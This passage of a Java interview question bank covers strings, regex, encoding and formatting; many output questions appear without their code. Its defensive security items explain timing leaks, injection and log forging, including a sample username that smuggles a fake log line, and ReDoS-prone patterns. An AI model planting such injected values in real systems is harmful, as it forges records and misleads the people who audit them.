- **Does `sb.append(null)` throw?** For a `String`-typed null it appends `"null"`; `append((char[]) null)` throws NPE.
- **What does `sb.append('a' + 'b')` append?** `195`.

#stringbuilder #api

Q45 What are StringTokenizer and Scanner and when are they appropriate? BASIC

`StringTokenizer` is a legacy class (no regex, skips empty tokens, discouraged by its own Javadoc). `Scanner` parses typed tokens from a source using regex delimiters, slower but convenient.

- Prefer `String.split` or `Pattern.splitAsStream` for splitting.
- `Scanner` default delimiter is whitespace; `nextInt` followed by `nextLine` leaves the newline unread.
- For large inputs use `BufferedReader` and manual parsing.

FOLLOW-UP TRAPS

- **Why does `nextLine()` return empty after `nextInt()`?** It reads the rest of the current line.
- **Is `Scanner` thread-safe?** No.

#tokenizer #scanner

Q46 How do you safely compare secrets and why does equals leak information? ADVANCED

`String.equals` returns at the first mismatch, so response time can reveal how many leading characters are correct. Use `MessageDigest.isEqual(a, b)` (constant-time since Java 6u17) on byte arrays.

- Compare hashes or HMACs rather than raw secrets.
- Do not log secrets; override `toString` of credential objects to mask.
- `char[]` plus `Arrays.fill` for short lifetime; avoid `String` for keys.

FOLLOW-UP TRAPS

- **Is timing attack realistic over a network?** Yes with enough samples, especially on a LAN or co-located hosts.
- **Does `Arrays.equals` run in constant time?** No.

#security #timing

Q47 How do you prevent injection when building strings (SQL, logs, shell)? INTERMEDIATE

Never concatenate untrusted input into an interpreter's language. Use parameters (`PreparedStatement`), allow-lists, and context-specific encoders.

- SQL: `?` placeholders; identifiers cannot be bound, so allow-list them.
- Logs: strip or encode CR/LF to avoid log forging; parameterized logging does not sanitize newlines.
- Shell: pass argument arrays to `ProcessBuilder`, never a joined command string.
- Regex: `Pattern.quote` for user text used inside a pattern.

FOLLOW-UP TRAPS

- **Does `String.format` into a SQL string make it safe?** No, it is still concatenation.
- **Are prepared statements safe for `ORDER BY` columns?** Not if you concatenate the column name.

#security #injection

Q48 How are strings handled in Java serialization, JSON and databases with respect to encoding (utf8mb4, surrogate pairs)? ADVANCED

Strings are UTF-16 in memory but must be encoded at every boundary. A mismatch between layers corrupts data.

- MySQL `utf8` is only 3 bytes; use `utf8mb4` for emoji (4 bytes, a surrogate pair in Java).
- Size limits (`VARCHAR(255)`) count chars in the DB but `length()` counts UTF-16 units; emoji count as 2 in Java and 1 in the DB.
- HTTP: set `Content-Type: ...; charset=UTF-8`; Spring defaults to UTF-8 for JSON.
- Lone surrogates cannot be encoded in UTF-8 and become `?`/U+FFFD.

FOLLOW-UP TRAPS

- **Why does an emoji fail to insert into MySQL `utf8`?** 4-byte code point exceeds the 3-byte limit.
- **Is `length() <= 255` a safe check against a `VARCHAR(255)`?** Not exactly; count code points or bytes per column semantics.

#unicode #database #encoding

Q49 What does String.valueOf, Integer.toString and + "" do differently? BASIC

All turn values into strings. `String.valueOf(Object)` returns `"null"` for a null reference; `obj.toString()` throws NPE; `"" + obj` also yields `"null"`.

- `Integer.toString(i)` and `String.valueOf(i)` are equivalent; `"" + i` compiles to concat machinery.
- `Objects.toString(o, "default")` supplies a fallback.
- For `char[]`, `String.valueOf(char[])` copies content.

FOLLOW-UP TRAPS

- **What does `"" + null` give?** `"null"`.
- **What does `String.valueOf(new char[]{'a'})` vs `String.valueOf((Object) new char[]{'a'})` give?** `"a"` and `[C@...`.

#conversion #null

Q50 What are string deduplication and the memory footprint of a String? ADVANCED

A `String` object has a 12-16 byte header plus `value` reference, `hash`, `coder`, `hashIsZero` fields (about 24 bytes), plus a separate `byte[]` (16-byte header plus data). A 10-char Latin-1 string takes about 24 + 32 bytes.

- G1/Shenandoah/ZGC support `-XX:+UseStringDeduplication`, which merges identical `byte[]` of live strings in the background.
- Dedup helps with many repeated long values; it does not help short-lived strings.
- Measure with a heap histogram (`jcmd GC.class_histogram`) before tuning.

FOLLOW-UP TRAPS

- **Does dedup replace the String object?** No, only the backing array.
- **Is it on by default?** No.

#memory #g1 #deduplication

Q51 How do records, enums and Optional interplay with string representation (toString, valueOf)? BASIC

Records generate `toString` as `Name[field=value, ...]`. Enum `name()` is the identifier and `toString()` defaults to it; `Enum.valueOf` is case-sensitive and throws `IllegalArgumentException` for unknown names.

- Do not use `toString()` for persistence or protocols; its format is not a contract.
- `Optional.toString()` gives `Optional[x]` or `Optional.empty`.

- Override `toString` in enums for display only; keep `name()` for storage.

> **FOLLOW-UP TRAPS**
> - **Does `Enum.valueOf(null)` throw NPE?** Yes (`NullPointerException: Name is null`).
> - **Should you persist `ordinal()` or `name()`?** `name()`, ordinals shift when constants are reordered.

#tostring #enum #record

Q52 How do string literals and the constant pool relate to class files? ADVANCED

Each class file has a constant pool of `CONSTANT_String` entries pointing to UTF-8 (modified) entries. On first resolution of an `ldc` instruction the JVM interns that string and caches the reference in the runtime constant pool.

- Literal length in a class file is limited to 65535 bytes of modified UTF-8, so very long literals do not compile.
- Modified UTF-8 encodes U+0000 as two bytes and supplementary characters as surrogate pairs of 3 bytes each.
- This is why two classes using `"x"` get the same instance.

> **FOLLOW-UP TRAPS**
> - **Is a literal interned at compile time or at runtime?** At class resolution/first `ldc`, by the JVM.
> - **What happens with a literal larger than 64 KB?** `javac` error: constant string too long; use a resource file.

#constant-pool #jvm

Scenarios

Q53 What does this print? BASIC

Prints `a`. Both calls return new strings that are discarded; `s` still references the original.

- Fix: `s = s.concat("b").toUpperCase();`.
- IDEs flag this as "result of method call ignored".

> **FOLLOW-UP TRAPS**
> - **Would a `StringBuilder` behave the same?** No, `sb.append("b")` mutates it.
> - **Does `final String s` change the output?** No.

#immutability #output

Q54 What are the results of these comparisons? BASIC

`true`, `false`, `true`, `true`. `"hel" + "lo"` is a compile-time constant folded into the pooled `"hello"`; `new String` always allocates; `intern()` returns the pooled instance.

> **FOLLOW-UP TRAPS**
> - **What if `s2` is built from a `final String` variable set to a literal?** Still `true`, it is a constant variable.
> - **What if built from a non-final variable?** `false`.

#string-pool #output

Q55 What is the output? BASIC

`false` then `true`. `a` is not a constant variable, so the concatenation happens at runtime and creates a new object; `intern()` yields the pooled literal.

FOLLOW-UP TRAPS

- **Does the result differ on Java 8 vs 17?** No, only the mechanism of concatenation differs.
- **Is `b.equals("hello")` true?** Yes.

#string-pool #concatenation #output

Q56 Predict the output of mixed + operations. BASIC

`195c`, `cab`, `33`, `123`. `+` is evaluated left to right: two `char`s (or ints) add numerically until a `String` operand appears.

FOLLOW-UP TRAPS

- **Why 195?** `'a'` is 97 and `'b'` is 98.
- **How to force string concatenation first?** Start with `""` or use parentheses.

#concatenation #output

Q57 What does this char arithmetic print? BASIC

`98`, `b`, `b`, `c`. `c + 1` promotes to `int`; compound assignment and `++` include an implicit narrowing cast.

FOLLOW-UP TRAPS

- **Does `c = c + 1;` compile?** No, possible lossy conversion from `int` to `char`.
- **Does `final char c = 'a'; char d = c + 1;` compile?** Yes, constant expression that fits in `char`.

#char #output

Q58 What does this StringBuilder constructor call print? INTERMEDIATE

Prints `BC` and capacity `65`. The `char` `'A'` widens to `int` 65 and selects the `StringBuilder(int capacity)` constructor, so the builder starts empty with capacity 65 and the `A` never appears.

- Use `new StringBuilder("A")` or `String.valueOf('A')`.

FOLLOW-UP TRAPS

- **What would `new StringBuilder('a')` give as capacity?** 97, the code of `'a'`.
- **Does the compiler warn?** Usually only IDE inspections do.

#stringbuilder #output

Q59 What does split with a dot return? INTERMEDIATE

`0`, `3`, `3`. `.` matches any char so every element is empty and trailing empties are removed. `"|"` is an empty alternation matching between every char, giving `[a, |, b]`.

FOLLOW-UP TRAPS

- **How to split on `"."` safely?** `Pattern.quote(".")` or `"\\."`.
- **Would `split(".", -1)` return empties?** Yes, 6 empty strings.

#split #regex #output

Q60 How many elements does each split return? INTERMEDIATE

`2`, `4`, `1`, `0`. Default limit removes trailing empties; an empty input yields one element `[""]` because no match was found; `","` produces two empty strings, both trailing and removed.

FOLLOW-UP TRAPS

- **What about `",a".split(",").length`?** 2 (leading empty kept).
- **What about `"a,b".split(",", 0)`?** Same as no limit.

#split #output

Q61 What does this switch on a null string do? BASIC

Throws `NullPointerException` at the switch (via `s.hashCode()`). The `default` does not catch null.

- Java 21 allows `case null` (or `case null, default`) in pattern-style switches.
- Otherwise guard: `if (s == null) ...`.

FOLLOW-UP TRAPS

- **Does `switch (s.toLowerCase())` change this?** It still NPEs earlier.
- **Is `case null` allowed in Java 17?** Only as a preview feature.

#switch #npe

Q62 How does a text block render? INTERMEDIATE

Output is `Hello,` newline, then `World!` and a final newline. Indentation of 4 spaces is stripped; `\` at the end of the `World` line joins it with the next line, whose own indentation was already stripped.

FOLLOW-UP TRAPS

- **What if the closing `"""` were moved 2 spaces left?** Two extra spaces of indentation remain on every line.
- **How to keep a trailing space on a line?** End it with `\s`.

#text-blocks #output

Q63 What do trim and strip return here? INTERMEDIATE

`6`, `2`, `3`. `trim` only removes chars <= U+0020, so the em space stays (total 6: em space, space, h, i, space, em space). `strip` removes Unicode whitespace. The non-breaking space is not "whitespace" per `Character.isWhitespace`, so it remains.

FOLLOW-UP TRAPS

- **How to strip NBSP too?** `s.replaceAll("^[\\s\\u00A0]+|[\\s\\u00A0]+$", "")` or `\\p{Z}`.
- **Does `isBlank` treat NBSP as blank?** No.

#strip #trim #unicode #output

Q64 What are length and code point count of an emoji string? INTERMEDIATE

`4`, `3`, `b😀a`, and the last line does not compile. `'😀'` is not a valid `char` literal because it needs two UTF-16 units. `StringBuilder.reverse()` keeps surrogate pairs intact.

- Replace the last line with `s.codePointAt(1) == 0x1F600`.

FOLLOW-UP TRAPS

- **What does `s.charAt(1)` return?** The high surrogate `\uD83D`.
- **Does `s.substring(0, 2)` produce a valid string?** It cuts the pair in half, producing a malformed string.

#unicode #surrogates #output

Q65 How many bytes does each encoding give? INTERMEDIATE

`6`, `5`, `12`, `h?llo`. UTF-8 uses 2 bytes for `é`; Latin-1 uses 1 each; `UTF_16` adds a 2-byte BOM then 2 per char (2 + 10); ASCII cannot encode `é` and writes `?`.

FOLLOW-UP TRAPS

- **Why not 10 for UTF-16?** The BOM adds 2 bytes; `UTF_16BE` gives 10.
- **Does `getBytes` throw on unmappable characters?** No, it substitutes.

#charset #output

Q66 What happens here when formatting with the wrong specifier? BASIC

Throws `IllegalFormatConversionException: d != java.lang.String` at runtime. Format strings are not checked at compile time (some static analyzers do).

- `String.format("%s items", 5)` works since `%s` accepts any object.
- Too few arguments throw `MissingFormatArgumentException`; extra arguments are ignored.

FOLLOW-UP TRAPS

- **What if a double is passed to `%d`?** The same exception (`d != java.lang.Double`).
- **What happens with `%.2f` on an `Integer`?** `IllegalFormatConversionException: f != java.lang.Integer`.

#format #exceptions

Q67 What is the output of these format calls? INTERMEDIATE

```
  3.1|42   |00042
1,234,567 ff -0003.50
b a
```

Grouping separator and decimal mark assume an English-like default locale; others (e.g. `de`) print `1.234.567` and `-0003,50`.

FOLLOW-UP TRAPS

- **Which rounding does `%f` use?** `RoundingMode.HALF_UP` on the decimal expansion of the double.
- **How to make output locale-independent?** `String.format(Locale.ROOT, ...)`.

#format #output

Q68 replace vs replaceAll with special characters. BASIC

`xxxxx`, `axbxc`, `a11b`. `replaceAll` treats `.` as any char and `$0` as the whole match.

FOLLOW-UP TRAPS

- **How to insert a literal `$`?** `Matcher.quoteReplacement("$")` or `"\\$"`.
- **What does `"p".replaceAll("p", "$1")` throw?** `IndexOutOfBoundsException: No group 1`.

#replace #regex #output

Q69 Greedy vs lazy: what does each match? INTERMEDIATE

`<b>x</b><b>y</b>` and `<b>x</b>`. Greedy `.*` runs to the end then backtracks to the last `</b>`; lazy stops at the first.

- Alternative without laziness: `<b>[^<]*</b>`.
- Do not parse HTML with regex beyond trivial extraction.

FOLLOW-UP TRAPS

- **Does `.` match across lines here?** Not without `DOTALL`.
- **What would `<b>.*+</b>` do?** Fail to match: possessive `.*+` swallows `</b>`.

#regex #greedy #lazy #output

Q70 matches vs find vs lookingAt. BASIC

`false`, `false`, `true`. `matches` needs the whole input; `lookingAt` needs a prefix match; `find` scans. The failed `matches` and `lookingAt` calls do not move the search position, so `find` starts at index 0.

FOLLOW-UP TRAPS

- **What does `m.group()` give after the `find`?** `123`.
- **What if you call `find()` twice?** The second returns `false`.

#regex #matcher #output

Q71 How are group numbers assigned? INTERMEDIATE

`4`, `bc`, `c`, `null`. Groups are numbered by opening parenthesis; group 4 is optional and did not participate, so it returns `null` (while `groupCount` counts it).

FOLLOW-UP TRAPS

- **What does `m.start(4)` return?** `-1`.
- **Does an `?` group matching empty return `""` or `null`?** `null` if it did not participate, `""` if it matched empty.

#regex #groups #output

Q72 What exception occurs here? BASIC

`IllegalStateException: No match found`. `find()` returned `false` and the result was ignored.

- Always test: `if (m.find()) { ... }`.

FOLLOW-UP TRAPS

- **What about calling `group()` on a fresh matcher?** The same exception.
- **What about `group(5)` on a pattern with one group?** `IndexOutOfBoundsException`.

#regex #matcher #exceptions

Q73 A signup form regex hangs your service at 100% CPU. How do you diagnose and fix it? ADVANCED

Take 3-5 thread dumps (`jcmd <pid> Thread.print`); threads stuck in `java.util.regex.Pattern$...match` frames, often `Pattern$Loop` or `Branch`, point to ReDoS. The stack's caller shows which pattern and input.

- Reproduce with the offending input; time with increasing length (exponential growth confirms).
- Fix the pattern: remove nested quantifiers (`(\w+\s?)*`), use possessive quantifiers or atomic groups, or tighten classes.
- Add input length limits before matching and a deadline `CharSequence`.
- Consider replacing with a parser or RE2/J for untrusted patterns.

FOLLOW-UP TRAPS

- **Will restarting the pod help?** Only until the next malicious request.
- **Can a bigger thread pool absorb it?** No, each stuck thread burns a core indefinitely.

#regex #redos #debugging

Q74 Why is this pattern dangerous? ADVANCED

It returns `false` but only after exponential backtracking (2^n ways to partition the `a`s between inner and outer `+`). With 30 characters it can take seconds to minutes on older JDKs.

- Safe rewrite: `^a+$`.
- Or prevent backtracking: `^(?>a+)+$` or `^(a++)++$`.
- Modern JDKs memoize some constructs, but you cannot rely on it.

FOLLOW-UP TRAPS

- **Does the input `"aaaa"` (no `!`) cause the problem?** No, it matches immediately.
- **Does anchoring help?** Not against the nested quantifier itself.

#regex #redos #output

Q75 How does case-insensitive matching handle non-ASCII? INTERMEDIATE

`false` then `true`. `CASE_INSENSITIVE` is ASCII-only unless `UNICODE_CASE` is also set.

FOLLOW-UP TRAPS

- **Does `"é".equalsIgnoreCase("É")` work?** Yes, it handles Unicode per char.
- **Does `(?iu)` do the same as the flags?** Yes.

#regex #flags #unicode #output

Q76 Does \w match accented letters? INTERMEDIATE

`false`, `true`, `true`. By default `\w` is ASCII `[a-zA-Z_0-9]`; `(?U)` enables Unicode semantics; `\p{L}` is the Unicode letter category.

FOLLOW-UP TRAPS

- **Does `\b` follow the same rule?** Yes, it follows `\w` unless `(?U)`.
- **Does `\s` match NBSP?** Not by default.

#regex #unicode #output

Q77 A user enters Turkish locale settings and your keyword lookup fails. Why? INTERMEDIATE

With default locale `tr`, `"TITLE".toLowerCase()` gives `"tıtle"` (dotless i), so the key is not found.

- Always use `toLowerCase(Locale.ROOT)` / `toUpperCase(Locale.ROOT)` for identifiers, headers, enum lookups, and map keys.
- The reverse bug exists: `"title".toUpperCase()` in Turkish yields `TİTLE`.

FOLLOW-UP TRAPS

- **Does `equalsIgnoreCase` have this issue?** No, it is locale-independent.
- **Can the JVM default locale be changed per request?** Not by default, but `-Duser.language=tr` or container settings can.

#locale #case #debugging

Q78 A password ends up in logs and heap dumps. What went wrong and how do you fix it? INTERMEDIATE

The password was held in a `String` (immutable, lives until GC, may be interned or logged by `toString`) or inside a DTO whose `toString()` printed it.

- Use `char[]` or `byte[]` for secrets that you control and zero them in `finally`.
- Exclude secrets from `toString`, Lombok `@ToString.Exclude`, and logging filters; mask in request logging.
- Disable heap dumps with secrets or encrypt them; restrict `/actuator/heapdump`.
- Hash with bcrypt/Argon2 and discard the plaintext immediately.

FOLLOW-UP TRAPS

- **Does `char[]` fix a framework that binds JSON to a `String`?** No, the String already exists. Limit exposure elsewhere.
- **Is `Arrays.fill` guaranteed to run?** The JIT may not eliminate it for arrays that escape; still, it cannot be relied on against all copies.

#security #password #logging

Q79 Your batch job builds a 200 KB report with += in a loop and is slow. Why? BASIC

Each iteration allocates a new string and copies all previous content, giving O(n^2) copying and heavy GC. JIT does not turn this loop into a single builder.

- Use `StringBuilder` (presized) or `String.join("\n", lines)` / `Collectors.joining`.
- A single expression `a + b + c` is fine; the problem is accumulation across iterations.

FOLLOW-UP TRAPS

- **Did Java 9 indy concat fix this?** No, it optimizes one expression, not the loop.
- **Is `StringBuffer` better here?** No, only slower.

#performance #concatenation

Q80 Interning UUIDs from requests made the heap grow. Why? ADVANCED

`intern()` puts every distinct string into the global table. Unbounded unique values (UUIDs, session IDs) fill it; entries are collectable only when unreachable and the table needs cleanup passes, so it adds GC and lookup cost without any sharing benefit.

- Intern only a small closed set of repeated values.
- Check with `-XX:+PrintStringTableStatistics` (Java 8) or `jcmd VM.stringtable`.
- A bounded `ConcurrentHashMap` cache or enums fit better.

FOLLOW-UP TRAPS

- **Does `intern()` guarantee a smaller footprint?** Only if duplicates are really common.
- **Is a large `StringTableSize` a fix?** It reduces chain length, not retention.

#intern #memory #string-pool

Q81 Why is sharing a StringBuffer between threads still buggy? INTERMEDIATE

Each method is synchronized, but the check-then-act sequence is not atomic, so `init;` can be appended twice. Interleaved multi-step appends also mix content.

- Synchronize the whole compound action on an external lock, or build per-thread `StringBuilder`s and merge.
- `StringBuffer` is rarely the right tool; it only guards individual calls.

FOLLOW-UP TRAPS

- **Can `sb.append(a).append(b)` interleave with another thread's append?** Yes, between the two calls.
- **Would `StringBuilder` be worse?** It can corrupt internal state; use confinement instead.

#stringbuffer #concurrency

Q82 Why does parsing CSV with split(",") fail on real files? INTERMEDIATE

Prints `4`, not 3: the comma inside the quoted field is also a separator, giving `1`, `"Doe`, `Jane"`, `NY`. Quoted fields, escaped quotes and embedded newlines need a real parser (Apache Commons CSV, OpenCSV, Jackson CSV).

- `split(",", -1)` at least preserves trailing empty columns.

- Never hand-roll CSV for external input.

FOLLOW-UP TRAPS

- **Does a lookahead regex solve it?** Partially (`,(?=(?:[^"]*"[^"]*")*[^"]*$)`), but is slow and breaks on newlines and escaped quotes.
- **What about whitespace around fields?** `split` keeps it; `strip()` each field.

#split #csv

Q83 How do you prevent log forging? INTERMEDIATE

If `username` is `bob\nINFO login ok for admin`, the attacker adds a fake log line. Parameterized logging does not strip newlines by itself.

- Sanitize CR/LF (replace with `_`) or use a JSON log encoder that escapes control characters.
- Cap the length of logged user input.
- Prefer `log.info("login failed for {}", username)` for performance, plus the encoder for safety.

FOLLOW-UP TRAPS

- **Is `{}` placeholders enough?** No, it avoids concatenation cost, not injection.
- **What other characters matter?** ANSI escapes and Unicode line separators (U+2028) in some viewers.

#security #logging #injection

Q84 What is the memory behaviour of substring? INTERMEDIATE

In Java 6 `substring` shared the parent's `char[]`, so `id` kept 50 MB alive. Since Java 7u6 it copies just the range, so the parent is collectable and the leak is gone.

- On modern JDKs `substring` costs O(length of the result).
- Old advice `new String(s.substring(...))` is obsolete.

FOLLOW-UP TRAPS

- **Is `substring(0)` a copy?** It returns `this` when the range is the whole string.
- **Is `subSequence` different?** It delegates to `substring`.

#substring #memory #java6

Q85 What is the output of sorting strings naturally? BASIC

`[10, 9, A, B, a, b]`. Natural order is by UTF-16 code unit: digits (48-57) before uppercase (65-90) before lowercase (97-122); `"10"` precedes `"9"` since `'1' < '9'`.

- For case-insensitive order use `String.CASE_INSENSITIVE_ORDER`; for language-correct order use `Collator`.
- For numeric order parse to numbers or use a natural-order comparator.

FOLLOW-UP TRAPS

- **Where does `é` sort?** After `z` (U+00E9 > U+007A) under `compareTo`.
- **Does `CASE_INSENSITIVE_ORDER` keep stable output for `a` and `A`?** `List.sort` is stable, so equal keys keep input order.

#compareto #sorting #output

Q86 What does passing strings and builders to a method do? BASIC

`a ax`. References are passed by value; `s += "x"` rebinds the local parameter to a new string, while `sb.append` mutates the shared object.

FOLLOW-UP TRAPS

- **Is Java pass-by-reference for objects?** No, the reference is copied by value.
- **What if `f` did `sb = new StringBuilder("z")`?** Nothing visible to the caller: the output stays `a a`, since only the local reference was rebound.

#pass-by-value #immutability #output

Q87 How does null behave in string concatenation and methods? BASIC

`nulla`, `4`, then `NullPointerException`. Concatenation converts a null reference to `"null"`; `valueOf((Object) null)` also returns `"null"` (length 4); invoking a method on null throws.

FOLLOW-UP TRAPS

- **What does `String.valueOf(null)` do?** NPE: the `char[]` overload is chosen.
- **What does `Objects.toString(null)` return?** `"null"`.

#null #output

Q88 What do println(char[]) and string concatenation with char[] print? INTERMEDIATE

`hi`, then something like `[C@1b6d3586`, then `hi`. `PrintStream.println(char[])` prints characters; concatenation uses `Object.toString()` (type, `@`, hash).

- This is why logging a password `char[]` with `"" + pw` leaks nothing useful but still signals a bug; always handle explicitly.

FOLLOW-UP TRAPS

- **Does `System.out.println((Object) a)` print `hi`?** No, `[C@...`.
- **Does `Arrays.toString(a)` print `hi`?** It prints `[h, i]`.

#char-array #output

Q89 Count lines in mixed line-ending text. INTERMEDIATE

`3`, `3`, `3`. `lines()` handles `\n`, `\r`, `\r\n` and drops the trailing terminator. `split("\n")` yields `a`, `b\r`, `c` (note the leftover `\r`). `\R` matches any linebreak sequence.

FOLLOW-UP TRAPS

- **What does `"a\n\n".lines().count()` give?** 2 (`a` and an empty line).
- **Is `lines()` lazy?** Yes, it streams without building all substrings first.

#lines #split #output

Q90 substring boundaries. BASIC

`true`, `true`, then `StringIndexOutOfBoundsException` (begin 4, length 3). `beginIndex == length` is allowed and yields the empty string.

FOLLOW-UP TRAPS

- **Is `substring(2, 1)` valid?** No, begin > end throws.
- **Is the end index inclusive?** No, exclusive.

#substring #exceptions #output

Q91 What does replace do with overlapping matches? INTERMEDIATE

`ba`, `bb`, `-a-b-c-`. Matching scans left to right without overlap; replacing an empty target inserts the replacement between every char and at both ends.

FOLLOW-UP TRAPS

- **Does `replace` re-scan replaced text?** No.
- **Does `"abc".replaceAll("", "-")` differ?** No, same result.

#replace #output

Q92 indexOf, contains and empty strings. INTERMEDIATE

`0`, `3`, `true`, `-1`. The empty string is found at index 0 (and at `length` for `lastIndexOf`); an out-of-range start index is not an error for `indexOf`.

FOLLOW-UP TRAPS

- **Does `startsWith("")` return true?** Yes.
- **What does `indexOf(int)` take?** A code point, so supplementary characters work.

#indexof #output

Q93 Counting characters with streams. INTERMEDIATE

`2`, `[h, e, l, l, o]`, `h-e-l-l-o`. `chars()` is an `IntStream`; casting to `char` is required to get characters instead of numbers (`mapToObj(c -> c)` would produce integers).

FOLLOW-UP TRAPS

- **Does `chars()` handle emoji correctly?** No, it yields surrogates; use `codePoints()`.
- **Can you collect `Stream<Character>` into a String directly?** Not without `StringBuilder` / `Collectors.joining` after mapping to String.

#streams #chars #output

Q94 How do the common parse methods treat whitespace and signs? BASIC

`5`, then `NumberFormatException: For input string: " 5"`. A leading `+` or `-` is accepted; whitespace is not, so `strip()` before parsing.

- `Integer.parseInt("")` and `null` both throw `NumberFormatException`.
- Use `Integer.valueOf` for boxed values, and `Integer.parseInt(s, radix)` for other bases.

FOLLOW-UP TRAPS

- **Does `"2147483648"` parse?** No, `NumberFormatException`; use `Long.parseLong`.
- **Does `Double.parseDouble(" 5 ")` work?** Yes, it trims whitespace.

#parsing #exceptions #output

Q95 Does null-safety differ between equals variants? BASIC

`false`, `true`, then `NullPointerException`. Put the known non-null literal on the left, or use `Objects.equals`.

FOLLOW-UP TRAPS

- **What does `"x".equalsIgnoreCase(null)` return?** `false`.
- **What does `"".equals(null)` return?** `false`.

#equals #null #output

Q96 Two visually identical strings are not equal. Why? ADVANCED

`false 1 2`. They are canonically equivalent but different code unit sequences. Normalize before comparing or indexing: `Normalizer.normalize(s, Normalizer.Form.NFC)`.

```
Normalizer.normalize(b, Normalizer.Form.NFC).equals(a); // true
```

- Apply normalization on input boundaries (usernames, search keys).
- Use `Collator` with `Collator.CANONICAL_DECOMPOSITION` for comparison respecting locale.

FOLLOW-UP TRAPS

- **Which form should be stored?** Commonly NFC; use NFKC for compatibility folding such as full-width digits (with care for security-sensitive IDs).
- **Does `equalsIgnoreCase` normalize?** No.

#unicode #normalization #output

Q97 Why is the result of this floating-point string conversion surprising? INTERMEDIATE

`0.30000000000000004`, `0.13`, `0.3`. Binary floating point cannot represent 0.1 or 0.2 exactly; `Double.toString` prints the shortest string that round-trips. `%f` rounds `HALF_UP` on the decimal value of the double (0.125 and 0.25 are exact), unlike `BigDecimal`'s `HALF_EVEN` defaults elsewhere.

- Use `BigDecimal` (constructed from strings) for money.

FOLLOW-UP TRAPS

- **What does `new BigDecimal(0.1)` show?** The long exact binary expansion; use `BigDecimal.valueOf(0.1)` or a string.
- **Is `Math.round` the same as `%.0f`?** Not for negative halves: `Math.round(-2.5)` is `-2`; `%.0f` gives `-3`.

#format #double #output

Q98 How do you reuse a Pattern efficiently in a hot path? INTERMEDIATE

`String.matches` compiles the regex on every call. Hoist the `Pattern` into a `static final` field and create a `Matcher` per call (or use `asMatchPredicate()`).

```
private static final Pattern ID = Pattern.compile("[A-Z]{3}-\\d{4}");
boolean valid(String s) { return ID.matcher(s).matches(); }
```

- For trivial checks (prefix, one char) skip regex: `startsWith`, `indexOf`, a loop.

FOLLOW-UP TRAPS

- **Is the static `Pattern` safe across threads?** Yes, it is immutable.
- **Is the static `Matcher` safe?** No, it holds match state.

#regex #performance

Q99 Design an email validation rule. What should you check? INTERMEDIATE

A complete RFC 5322 regex is huge and still not proof that a mailbox exists. Use a simple sanity check and verify by sending a confirmation link.

- A pragmatic pattern: `^[^@\s]+@[^@\s]+\.[^@\s]+$`, length-bounded (254 total, 64 for local part).
- Bean Validation `@Email` is lenient; Hibernate Validator accepts `a@b`.
- Normalize with `strip()` and lowercase the domain only.
- Beware nested quantifiers in copy-pasted "perfect" regexes (ReDoS).

FOLLOW-UP TRAPS

- **Is the local part case-insensitive?** Technically case-sensitive per RFC, but nearly all providers ignore case.
- **Does a passing regex prove deliverability?** No.

#regex #validation #design

Q100 Which approach is right to extract fields from a log line? INTERMEDIATE

For fixed-format lines, a precompiled regex with named groups is clear and fast enough; for very high volume or strict structure, manual `indexOf` / `substring` parsing is faster.

```
Pattern P = Pattern.compile(
    "(?<date>\\S+) (?<time>\\S+) (?<level>\\w+) user=(?<user>\\d+) msg=(?<msg>.*)");
Matcher m = P.matcher(line);
if (m.matches()) System.out.println(m.group("user")); // 42
```

- Prefer structured (JSON) logs to avoid parsing at all.
- Anchoring with `matches()` and specific classes (`\\S+`) limits backtracking.

FOLLOW-UP TRAPS

- **Why `\\S+` rather than `.+`?** It cannot span fields, avoiding wrong greedy captures and backtracking.
- **What if the message can contain newlines?** Add `(?s)` so `.` matches them.

#regex #parsing #design

Q101 What are Matcher.appendReplacement pitfalls? ADVANCED

`a<2>b<44>`. Omitting `appendTail` would lose the trailing text. The replacement string is parsed for `$` and `\`, so computed text containing those must go through `Matcher.quoteReplacement`.

- The `StringBuilder` overloads exist since Java 9; before that only `StringBuffer`.
- Simpler on Java 9+: `m.replaceAll(r -> String.valueOf(Integer.parseInt(r.group()) * 2))`.

FOLLOW-UP TRAPS

- **Does the lambda form need escaping?** No, its result is treated literally.
- **Why not `String.replaceAll` for this?** It cannot compute replacements.

#regex #matcher #output

Q102 Why might a regex with lookbehind throw at compile time? ADVANCED

Java requires lookbehind to have an obvious maximum length. Unbounded `+` or `*` historically raised `PatternSyntaxException: Look-behind group does not have an obvious maximum length`. Newer releases accept some forms, but unbounded lookbehind is still a risk of failure and poor performance.

- Use a bounded form: `(?<=a{1,10})b`.
- Or capture the prefix in a group and use `group(1)` instead.

FOLLOW-UP TRAPS

- **Is `(?<=ab|c)` fine?** Yes, alternatives of bounded length are allowed.
- **Does lookbehind consume input?** No.

#regex #lookbehind #exceptions

Q103 How can an `intern`-based == comparison silently break? BASIC

The comparison is always `false` for runtime strings from the request because they are new objects, not the pooled literal. Use `"ACTIVE".equals(status)`.

- It can appear to work in unit tests that pass literals.
- Static analysis (SpotBugs `ES_COMPARING_STRINGS_WITH_EQ`, Sonar S4973) flags it.
- Better still: parse into an enum with a null-safe lookup.

FOLLOW-UP TRAPS

- **Would `status.intern() == "ACTIVE"` work?** Yes, but is slower and unidiomatic.
- **Does `==` ever beat `equals`?** Only for a proven-interned closed set, rarely worth it.

#equals #identity #bugs

Q104 Base64 in URLs: why does decoding fail? INTERMEDIATE

Prints `+/8=` and then throws `IllegalArgumentException: Illegal base64 character 2b`. The basic alphabet uses `+` and `/`; the URL-safe alphabet uses `-` and `_`.

- Encode and decode with the same variant; `Base64.getUrlEncoder().withoutPadding()` for tokens.
- Remember it is encoding, not encryption.

FOLLOW-UP TRAPS

- **What does the MIME decoder do with illegal characters?** Ignores them.
- **Why do JWTs omit `=`?** URL-safe Base64 without padding is specified by RFC 7515.

#base64 #exceptions #output

Q105 What happens when a File is read with the wrong charset in a CI environment? INTERMEDIATE

Before Java 18 `new String(byte[])` uses the platform default charset, so a UTF-8 file with `é` works on Linux CI (UTF-8) but turns into mojibake on Windows (Cp1252). Specify the charset.

```
String s = Files.readString(path, StandardCharsets.UTF_8);
```

- Java 18+ makes UTF-8 the default but explicit is still better.
- `Files.readString` throws `MalformedInputException` on invalid UTF-8, unlike `new String`.

FOLLOW-UP TRAPS

- **Does a BOM matter?** UTF-8 readers in Java do not strip it; U+FEFF appears as the first character.
- **How to detect the problem?** Look for `?` or U+FFFD in output.

#charset #debugging

Q106 What is the behaviour of strings as keys in a HashMap after mutation of the source builder? BASIC

`1 null`. `toString()` copies the content, so the key is an independent immutable string; the later builder change does not affect it, and `"kx"` was never stored.

- Using the `StringBuilder` itself as a key would be unsafe: identity `hashCode`/`equals` and mutability.

FOLLOW-UP TRAPS

